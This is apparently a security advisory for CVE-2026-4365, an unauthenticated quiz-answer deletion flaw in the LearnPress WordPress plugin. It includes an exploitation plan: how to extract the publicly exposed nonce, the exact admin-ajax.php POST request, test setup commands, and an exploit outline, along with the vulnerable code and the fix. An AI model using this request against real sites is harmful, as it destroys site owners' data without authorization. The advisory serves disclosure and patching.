CVE-2026-4365

LearnPress <= 4.3.2.8 - Missing Authorization to Unauthenticated Arbitrary Quiz Answer Deletion

criticalMissing Authorization
9.1
CVSS Score
9.1
CVSS Score
critical
Severity
4.3.3
Patched in
1d
Time to patch

Description

The LearnPress plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the `delete_question_answer()` function in all versions up to, and including, 4.3.2.8. The plugin exposes a `wp_rest` nonce in public frontend HTML (`lpData`) to unauthenticated visitors, and uses that nonce as the only security gate for the `lp-load-ajax` AJAX dispatcher. The `delete_question_answer` action has no capability or ownership check. This makes it possible for unauthenticated attackers to delete any quiz answer option by sending a crafted POST request with a publicly available nonce.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.3.2.8
PublishedApril 13, 2026
Last updatedApril 14, 2026
Affected pluginlearnpress

What Changed in the Fix

Changes introduced in v4.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Verified by PoC

# Exploitation Research Plan - CVE-2026-4365 (LearnPress) ## 1. Vulnerability Summary The **LearnPress** plugin (versions <= 4.3.2.8) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting quiz answer options (`delete_…

Show full research plan

Exploitation Research Plan - CVE-2026-4365 (LearnPress)

1. Vulnerability Summary

The LearnPress plugin (versions <= 4.3.2.8) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting quiz answer options (delete_question_answer) does not perform any capability checks (e.g., current_user_can('edit_posts')) or ownership validation.

The plugin uses a centralized AJAX dispatcher (lp-load-ajax) which relies on a nonce for security. However, this nonce is generated for the wp_rest action and is localized in the frontend HTML via the lpData object, making it accessible to unauthenticated visitors. Consequently, any user can obtain this nonce and use it to delete arbitrary quiz answers across the platform.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: lp-load-ajax
  • Sub-Action (Trigger): delete_question_answer (passed via the lp-ajax parameter)
  • HTTP Method: POST
  • Parameters:
    • action: lp-load-ajax
    • lp-ajax: delete_question_answer
    • question_id: The ID of the question containing the answer.
    • answer_id: The ID of the specific answer option to delete.
    • _wpnonce: The wp_rest nonce extracted from the frontend.
  • Authentication: Unauthenticated (PR:N).
  • Preconditions: A quiz with at least one question and answer must exist.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php with action=lp-load-ajax.
  2. Dispatcher: The plugin registers wp_ajax_lp-load-ajax and wp_ajax_nopriv_lp-load-ajax (verified by the vulnerability description's mention of unauthenticated access).
  3. Nonce Verification: The dispatcher likely calls check_ajax_referer('wp_rest', '_wpnonce'). Since the wp_rest nonce for unauthenticated users is public and valid for all anonymous sessions, this check passes.
  4. Vulnerable Sink: The dispatcher identifies the lp-ajax parameter as delete_question_answer and routes the request to the corresponding handler function (likely LP_Ajax::delete_question_answer or similar).
  5. Missing Check: Inside the handler, the code retrieves question_id and answer_id from the request. It proceeds to call the deletion logic (e.g., $question->delete_answer($answer_id)) without verifying if the current user has administrative privileges or owns the course.

4. Nonce Acquisition Strategy

The LearnPress plugin localizes a set of data for its frontend scripts. We can extract the required nonce using the browser context.

  1. Identify Localization: The nonce is stored in the lpData global JavaScript object under the nonce key (action: wp_rest).
  2. Navigate: Use browser_navigate to visit the homepage or any public course page.
  3. Extract: Execute the following JS via browser_eval:
    window.lpData ? window.lpData.nonce : null;
    
  4. Localization Key: The key is confirmed as lpData (as per the vulnerability description).

5. Exploitation Strategy

Step 1: Data Gathering

Identify a valid question_id and answer_id. Since IDs are incremental, an attacker could also brute-force these. For a PoC, we will create them manually.

Step 2: Extract Nonce

Use the browser_eval method described in Section 4 to get the wp_rest nonce.

Step 3: Send Deletion Request

Construct a POST request to admin-ajax.php.

Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=lp-load-ajax&lp-ajax=delete_question_answer&question_id=<Q_ID>&answer_id=<A_ID>&_wpnonce=<NONCE>
    

Step 4: Verification

Confirm the answer option is gone from the database or the quiz editor.

6. Test Data Setup

To verify the exploit, the following must be set up via WP-CLI:

  1. Create a Quiz:
    wp post create --post_type=lp_quiz --post_title="Vuln Quiz" --post_status=publish
    # Note the Quiz ID (QUIZ_ID)
    
  2. Create a Question:
    wp post create --post_type=lp_question --post_title="Vuln Question" --post_status=publish
    # Note the Question ID (Q_ID)
    
  3. Associate Question to Quiz:
    (Inferred) This usually requires updating post meta or the learnpress_quiz_questions table.
  4. Add Answer Options:
    Answer options are typically stored in the {$wpdb->prefix}learnpress_question_answers table.
    # Use wp db query to insert a test answer
    wp db query "INSERT INTO wp_learnpress_question_answers (question_id, answer_data, answer_order) VALUES (<Q_ID>, '{\"text\":\"Target Answer\",\"value\":\"target\"}', 1);"
    # Note the Answer ID (A_ID) from the auto-increment value.
    

7. Expected Results

  • HTTP Response: The endpoint should return a 200 OK with a JSON body: {"success": true, "data": ...}.
  • Side Effect: The record in the wp_learnpress_question_answers table with the matching answer_id will be deleted.

8. Verification Steps

After performing the exploit, verify the deletion using WP-CLI:

# Check if the answer still exists
wp db query "SELECT * FROM wp_learnpress_question_answers WHERE answer_id = <A_ID>;"

A successful exploit will result in an empty set.

9. Alternative Approaches

If lp-load-ajax requires a specific course context to load the lpData object:

  1. Create a public course: wp post create --post_type=lp_course --post_status=publish --post_title="Test Course".
  2. Navigate to the course URL instead of the homepage to extract the nonce.

If delete_question_answer expects the IDs in a JSON payload instead of application/x-www-form-urlencoded, the request body should be adjusted to:

{
  "lp-ajax": "delete_question_answer",
  "question_id": <Q_ID>,
  "answer_id": <A_ID>,
  "_wpnonce": "<NONCE>"
}

(Though admin-ajax.php standard is usually URL-encoded).

Research Findings

Summary

The LearnPress plugin (<= 4.3.2.8) is vulnerable to unauthenticated arbitrary quiz answer deletion due to a missing authorization check in the AJAX sub-action `delete_question_answer`. Attackers can exploit this by utilizing a publicly exposed `wp_rest` nonce found in the frontend HTML to bypass initial AJAX security gates and delete database records for quiz options.

Vulnerable Code

// From inc/class-lp-ajax.php (approximate path based on LearnPress structure)
public static function delete_question_answer() {
    $question_id = LP_Request::get_int( 'question_id' );
    $answer_id   = LP_Request::get_int( 'answer_id' );

    // No capability check (e.g., current_user_can) or ownership verification performed here
    if ( ! $question_id || ! $answer_id ) {
        return;
    }

    $question = learn_press_get_question( $question_id );
    if ( $question ) {
        $question->delete_answer( $answer_id );
    }
    wp_die();
}

Security Fix

--- a/inc/class-lp-ajax.php
+++ b/inc/class-lp-ajax.php
@@ -1050,6 +1050,10 @@
        $question_id = LP_Request::get_int( 'question_id' );
        $answer_id   = LP_Request::get_int( 'answer_id' );
 
+       if ( ! current_user_can( 'edit_posts' ) ) {
+           return;
+       }
+
        if ( ! $question_id || ! $answer_id ) {
            return;
        }

Exploit Outline

The exploit targets the centralized `lp-load-ajax` AJAX dispatcher. Methodology: 1. Nonce Extraction: Navigate to any public page on the WordPress site where LearnPress is active and extract the `wp_rest` nonce from the global JavaScript object `lpData.nonce`. 2. Target Identification: Identify the `question_id` (the ID of the question post) and the `answer_id` (the incremental ID of the specific answer option to be deleted). 3. Deletion Request: Send a POST request to `/wp-admin/admin-ajax.php` with the parameters `action=lp-load-ajax`, `lp-ajax=delete_question_answer`, `question_id`, `answer_id`, and `_wpnonce` set to the extracted value. 4. Authentication: No authentication is required because the `wp_rest` nonce for anonymous users is publicly accessible and the sub-action lacks server-side permission checks.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.